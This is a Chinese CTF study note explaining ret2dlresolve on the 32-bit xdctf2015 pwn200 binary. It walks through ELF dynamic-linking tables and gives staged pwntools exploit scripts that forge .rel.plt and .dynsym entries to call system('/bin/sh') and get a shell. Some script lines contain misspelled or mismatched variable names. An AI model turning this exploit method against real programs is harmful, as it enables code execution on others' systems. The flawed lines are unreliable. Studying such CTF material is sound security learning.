学习了CTF wiki中相关章节,并根据自己的了解整理了笔记。
原理
在第二篇文章 GOT和PLT 中,曾学习了ELF中动态链接的过程。不过在之前的学习中只学习了GOT表和PLT表的运作方式,没有继续深入探究。现在回过头来再思考一下,要问自己个问题,程序是通过什么途径确定GOT表和PLT表的位置和组成结构的呢?
本篇文章将重点学习.dynamic 的作用。下面的例子都以 2015 xdctf pwn200为例
首先来看一下文件的section信息
root@kali:~/ctf/buuctf/pwn# readelf -S xdctf2015_pwn200
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804826c 00026c 00006b 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482d8 0002d8 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482ec 0002ec 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804830c 00030c 000018 08 A 5 0 4
[10] .rel.plt REL 08048324 000324 000028 08 AI 5 23 4
[11] .init PROGBITS 0804834c 00034c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048370 000370 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483d0 0003d0 000008 08 AX 0 0 8
[14] .text PROGBITS 080483e0 0003e0 000252 00 AX 0 0 16
[15] .fini PROGBITS 08048634 000634 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048648 000648 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048650 000650 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 0804868c 00068c 000114 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f04 000f04 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f08 000f08 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049f0c 000f0c 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ff4 000ff4 00000c 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
...
然后我们利用gdb调试程序,看一下.dynamic 存储的是什么
pwndbg> x/60x 0x08049f0c
0x8049f0c: 0x00000001 0x00000001 0x0000000c 0x0804834c
0x8049f1c: 0x0000000d 0x08048634 0x00000019 0x08049f04
0x8049f2c: 0x0000001b 0x00000004 0x0000001a 0x08049f08
0x8049f3c: 0x0000001c 0x00000004 0x6ffffef5 0x080481ac
0x8049f4c: 0x00000005 0x0804826c 0x00000006 0x080481cc
0x8049f5c: 0x0000000a 0x0000006b 0x0000000b 0x00000010
0x8049f6c: 0x00000015 0xf7ffd8fc 0x00000003 0x0804a000
0x8049f7c: 0x00000002 0x00000028 0x00000014 0x00000011
0x8049f8c: 0x00000017 0x08048324 0x00000011 0x0804830c
0x8049f9c: 0x00000012 0x00000018 0x00000013 0x00000008
可以看到.dynamic 中存储的就是section表中各个section的地址。这里可以学习到.dynamic 的作用:动态链接器会从 .dynamic 节中索引到各个目标节。
具体的.dynamic 的结构可以参考ctfwiki中对于dynamic的介绍
- 3 : 给出与过程链接表或者全局偏移表相关联的地址,对应的段. got.plt
- 5 : 此类型表项包含动态字符串表的地址。符号名、库名、和其它字符串都包含在此表中。对应的节的名字应该是. dynstr。
stage-1 栈迁移
将栈劫持到bss节,写入一个binsh字符串并使用write打印
from pwn import *
context(log_level='debug', arch='i386', os='linux')
conn = process('./xdctf2015_pwn200')
gdb.attach(conn, 'b read')
elf = ELF('./xdctf2015_pwn200')
read = elf.plt['read']
write = elf.plt['write']
bss = 0x0804a028
stack_size = 0x800
fake_stack = bss + stack_size
pop_3time = 0x08048629
pop_ebp_ret = 0x0804862b
leave_ret = 0x0804851a
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)
conn.sendline(payload)
sleep(3)
payload = p32(write) + p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
stage-2 利用.rel.plt 表调用函数
通过r2的iS 命令查看.rel.plt 节的地址 0x08048324 . 可以看到plt节的实际上是一个存储很多地址的数组,如下面所示
pwndbg> x/10a 0x08048324
0x8048324: 0x804a00c <setbuf@got.plt> 0x107 0x804a010 <read@got.plt> 0x207
0x8048334: 0x804a014 <strlen@got.plt> 0x407 0x804a018 <__libc_start_main@got.plt> 0x507
0x8048344: 0x804a01c <write@got.plt> 0x607
plt[0]位setbut的got表地址,plt[1]位read的got表地址等等,而plt[5]即为write的got表地址。我们可以看到
pwndbg> x/10a 0x804a01c
0x804a01c <write@got.plt>: 0xf7e86010 0x0 0x0 0x0
0x804a02c: 0x0 0x0 0x0 0x0
0x804a03c: 0x0 0x0
我们可以通过plt的地址加上目标函数的offset来调用函数,比如我们可以以如下方式调用write函数
payload = p32(plt) + p32(write_offset) + p32(0) + p32(0x1) + p32(save_to) + p32(0x10)
为什么?
首先看一下我们传入的plt的地址是代码段,具体如下
? 0x8048370 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
0x8048376 jmp dword ptr [0x804a008] <_dl_runtime_resolve>
有一个压栈和跳转的操作,这里实际上是在调用 _dl_runtime_resolve(link_map_obj, reloc_offset) 函数。jmp命令可以理解为call ,而压栈操作实际上是传参的。注意到这里有两个参数,而只有一个压栈操作,所以实际上在执行到0x8048370 时,是假设第二个参数reloc_offset 已经入栈了,所以我们在构造payload的时候,是把先传入plt的地址,再传入目标函数的偏移。
from pwn import *
context(log_level='debug', arch='i386', os='linux')
conn = process('./xdctf2015_pwn200')
gdb.attach(conn, 'b read')
elf = ELF('./xdctf2015_pwn200')
plt = 0x08048370
read = elf.plt['read']
write = elf.plt['write']
bss = 0x0804a028
stack_size = 0x800
fake_stack = bss + stack_size
pop_3time = 0x08048629
pop_ebp_ret = 0x0804862b
leave_ret = 0x0804851a
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)
conn.sendline(payload)
sleep(3)
payload = p32(plt) + p32(0x20)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
stage3 伪造.rel.plt 的元素
上一步我们传入了write在.rel.plt 中的偏移地址来调用write,如果我们在其他地址构造一个合法的.rel.plt 项,并且传入该地址的偏移,是否也能成功调用函数呢?
利用readelf查看重定位表项的信息。在stage2中我们也看到.rel.plt 的每一项主要有两个内容构成,一个是地址,另一是Info
root@kali:~/ctf/Other/pwn/StackTest# readelf -r xdctf2015_pwn200
Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
.rel.plt结构
typedef struct
{
Elf64_Addr r_offset;
Elf64_Xword r_info;
} Elf64_Rel;
下面我们在构造的fake_stack中写入write的重定位表项,并利用stage2的方式调用这个表项
payload = p32(plt)
payload += p32(fake_stack+24-rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += p32(write_got) + p32(0x607)
...
sleep(3)
plt = 0x08048370
rel_plt = 0x08048324
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += p32(write_got) + p32(0x607)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
stage-4
上一阶段,我们伪造了一个重定位表项,并成功调用了write函数。链接的过程中,会通过r_info 保存的索引值,去.dynsym 中获取符号。write的r_info 是607,即write的序号是6,那么在.dynsym 的第七项. 注意这里显示的是小端序。比如33000000 实际上是0x00000033 .
root@kali:~/ctf/Other/pwn/StackTest# readelf -x .dynsym xdctf2015_pwn200
Hex dump of section '.dynsym':
0x080481cc 00000000 00000000 00000000 00000000 ................
0x080481dc 33000000 00000000 00000000 12000000 3...............
0x080481ec 27000000 00000000 00000000 12000000 '...............
0x080481fc 5c000000 00000000 00000000 20000000 \........... ...
0x0804820c 20000000 00000000 00000000 12000000 ...............
0x0804821c 3a000000 00000000 00000000 12000000 :...............
0x0804822c 4c000000 00000000 00000000 12000000 L...............
0x0804823c 1a000000 00000000 00000000 11000000 ................
0x0804824c 2c000000 00000000 00000000 11000000 ,...............
0x0804825c 0b000000 4c860408 04000000 11001000 ....L...........
为什么要添加 align?
.dynsym 每一项的大小都是0x10,因此伪造.dynsym 表项时,需要与.dynsym 的起始位置对齐,因此要添加align来对齐。
我们先伪造.dynsym 表项,在stage-3的基础上,伪造的fake_write_sym写在fake_stack的第32个字节位置
dynsym = 0x080481cc
...
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fakse_write_sym = flat([0x4c, 0, 0, 0x12])
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel
payload += cyclic(align)
paylaod += fake_write_sym
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
stage-5
上一步我们伪造了write在.dynsym 表项的位置,那么内容可否伪造呢?首先要了解到.dynsym 的第一个值是函数名在.dynstr 中的偏移。例如write的.dynsym 第一个参数是0x4c ,.dynstr 的地址是0x0804826c
pwndbg> x/s 0x0804826c+0x4c
0x80482b8: "write"
下面我们把write字符串写在栈中,并把偏移位置指向此处。
dynstr = 0x0804826c
...
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'write\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()
stage-6
_dl_runtime_resolve 函数最终是依赖函数名来解析目标地址的, 因此在stage-5的基础上,如果改变写入的函数名就能调用其他函数,例如改为system,同时我们把传入的参入顺序改变。
...
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])
payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(fake_stack+0x80) + p32(0x0) + p32(0)
payload += fake_write_rel
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'system\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.interactive()
运行后成功获取shell
总结
最后来总结一下ret2dlresolve的过程。
- linux是根据函数名字去调用系统函数的,如果我们想调用某个函数,例如
system , 那么我们需要在内存中写入system 字符串。 - 写入字符串之后,我们要根据写入的位置到
.dynstr 的偏移量来构造.dynsym 表项; - 构造system的
.dynsym 表项后,我们同样需要将其写入内存中,并计算写入位置到.dynsym 起始位置的偏移。由于.dynsym 每一项是固定的0x10,因此写入的时候要注意对齐。 - 根据上一步获取的偏移,构造伪造的
.rel.plt 表项。同样将伪造的表项写入内存; - 最后是利用
_dl_runtime_resolve 函数来调用目标函数。我们需要通过.plt 的地址和伪造的.rel.plt 表项来构造payload
system_str_addr =
st_name = system_str_addr - dynstr
fake_dynsym = flat([st_name, 0, 0, 0x12])
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_dynsym_addr = fake_stack + 32 + align
fake_dynsym_addr_index = (fake_dynsym_addr - dynsym) // 0x10
fake_r_info = (fake_dynsym_addr_index << 0x8) | 0x7
fake_rel_plt = flat([func_got, fake_r_info])
payload = p32(plt_addr)
payload += p32(fake_stack + 24 - rel_plt)
payload += p32(ret_addr)
payload += p32(para1) + p32(para2) + p32(para3)
payload += fake_rel_plt
payload += align
payload += fake_dynsym
|